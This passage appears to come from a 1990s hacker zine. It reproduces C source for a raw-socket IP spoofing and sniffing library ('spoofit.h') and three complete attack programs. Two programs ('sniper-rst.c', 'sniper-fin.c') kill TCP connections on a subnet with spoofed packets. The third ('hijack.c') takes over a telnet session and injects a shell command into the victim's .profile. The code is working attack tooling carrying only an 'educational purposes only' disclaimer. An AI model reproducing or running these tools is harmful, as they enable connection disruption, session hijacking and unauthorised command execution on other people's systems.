secs. */ /* (only works on IO_NONBLOCK socket) */ /* */ /* void set_filter (char *f_source, unsigned short f_source_port, */ /* char *f_dest, unsigned short f_dest_port) */ /* (for use with IO_HANDLE) */ /* Start the program to watch all trafic from source/port to */ /* dest/port. This enables the updating of global data. Can */ /* be called multiple times. */ /* */ /* void close_receiving (void) */ /* When opened a IO_HANDLE mode receiving socket close it with */ /* this. */ /* */ /**** Global DATA (IO_HANDLE mode) ****************************************/ /* */ /* When accessing global data, copy the values to local vars and then use */ /* them. Reduce access time to a minimum. */ /* Mind you use of this is very limited, if you are a novice on IO, just */ /* ignore it, the other functions are good enough!). If not, rewrite the */ /* handler for your own use... */ /* */ /* sig_atomic_t SP_DATA_BUSY */ /* Put this on NON-ZERO when accesing global data. Incoming */ /* packets will be ignored then, data can not be overwritten. */ /* */ /* unsigned long int CUR_SEQ, CUR_ACK; */ /* Last recorded SEQ and ACK number of the filtered "stream". */ /* Before accessing this data set SP_DATA_BUSY non-zero, */ /* afterward set it back to zero. */ /* */ /* unsigned long int CUR_COUNT; */ /* increased everytime other data is updated */ /* */ /* unsigned int CUR_DATALEN; */ /* Length of date in last TCP packet */ /* */ /**************************************************************************/ #include "sys/socket.h" /* includes, what would we do without them */ #include "netdb.h" #include "stdlib.h" #include "unistd.h" #include "stdio.h" #include "errno.h" #include "netinet/in.h" #include "netinet/ip.h" #include "linux/if.h" #include "sys/ioctl.h" #include "sys/types.h" #include "signal.h" #include "fcntl.h" #undef DEBUG #define IP_VERSION 4 /* keep y'r hands off... */ #define MTU 1500 #define IP_HEAD_BASE 20 /* using fixed lengths to send */ #define TCP_HEAD_BASE 20 /* no options etc... */ #define UDP_HEAD_BASE 8 /* Always fixed */ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; /***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code from Sniffit - BTW my own program.... no copyright violation here */ #define URG 32 /* TCP flags */ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header /* The IPheader (without options) */ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header /* The UDP header */ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP */ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; /* work buffer */ int IP_optlen; /* IP options length in bytes */ int TCP_optlen; /* TCP options length in bytes */ }; /**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i>=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,"unknown host %s\n", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen) { if (sp_status < 0) perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /************************* Receiving department ****************************/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead->destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) - ((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) /* Packet handling routine */ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) /* skip this packet */ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; } ---=[ sniper-rst.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-rst - Example program on connection killing with IP spoofing */ /* Using the RST flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-rst sniper-rst.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat,j; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ printf("Trying to terminate the connection\n"); for(i=1;i<=100;i++) { /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5); if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);} sp_seq=pinfo.ack; sp_ack=0; j=0; /* Sending our fake Packet */ /* for(j=0;j<10;j++) This would be better */ /* { */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq+j,sp_ack,RST); /* } */ /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5); if(stat<0) { printf("Connection 5 secs idle or dead...\n"); exit(0); } } printf("I did not succeed in killing it.\n"); } ------------------------------------------------------------------------------ ---=[ sniper-fin.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-fin - Example program on connection killing with IP spoofing */ /* using the FIN flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-fin sniper-fin.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ for(i=1;i<100;i++) { printf("Attack Sequence %d.\n",i); /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; /* Sending our fake Packet */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN); /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) { printf("Killed the connection...\n"); exit(0); } printf("Hmmmm.... no response detected... (retry)\n"); } printf("I did not succeed in killing it.\n"); } ------------------------------------------------------------------------------ ---=[ hijack.c ]=------------------------------------------------------------- /**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - taking control of a running telnet session, and executing */ /* our own command in that shell. */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o hijack hijack.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* My spoofing include.... read licence on this */ /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH 666 int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; if(argc!=4) { printf("Usage: %s client client_port server\n",argv[0]); exit(1); } strcpy(CLIENT,argv[1]); CLIENT_P=atoi(argv[2]); strcpy(SERVER,argv[3]); /* preparing all necessary sockets (sending + receiving) */ DEV_PREFIX = INTERFACE_PREFIX; fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */ printf("Starting Hijacking demo - Brecht Claerhout 1996\n"); printf("-----------------------------------------------\n"); for(j=0;j<50;j++) { printf("\nTakeover phase 1: Stealing connection.\n"); wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; printf(" Sending Spoofed clean-up data...\n"); transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23, sp_seq,sp_ack,ACK|PSH); /* NOTE: always beware you receive y'r OWN spoofed packs! */ /* so handle it if necessary */ count=0; printf(" Waiting for spoof to be confirmed...\n"); while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 1 unsuccesfully ended.\n");} else {printf("Phase 1 ended.\n"); break;}; }; printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n"); count=serv_seq=old_ack=0; while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; if(count!=PERSONAL_TOUCH) {printf("Phase 2 unsuccesfully ended.\n"); exit(0);} printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack); printf("Phase 2 ended.\n"); printf("\nTakeover phase 3: Sending MY data.\n"); printf(" Sending evil data.\n"); transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); count=0; printf(" Waiting for evil data to be confirmed...\n"); while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 3 unsuccesfully ended.\n"); exit(0);} printf("Phase 3 ended.\n"); } (c)1999 http://www.real-secure.org/ @HWA H.W Hacked websites March19th-March27th ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Note: The hacked site reports stay, especially with some cool hits by groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed * Hackers Against 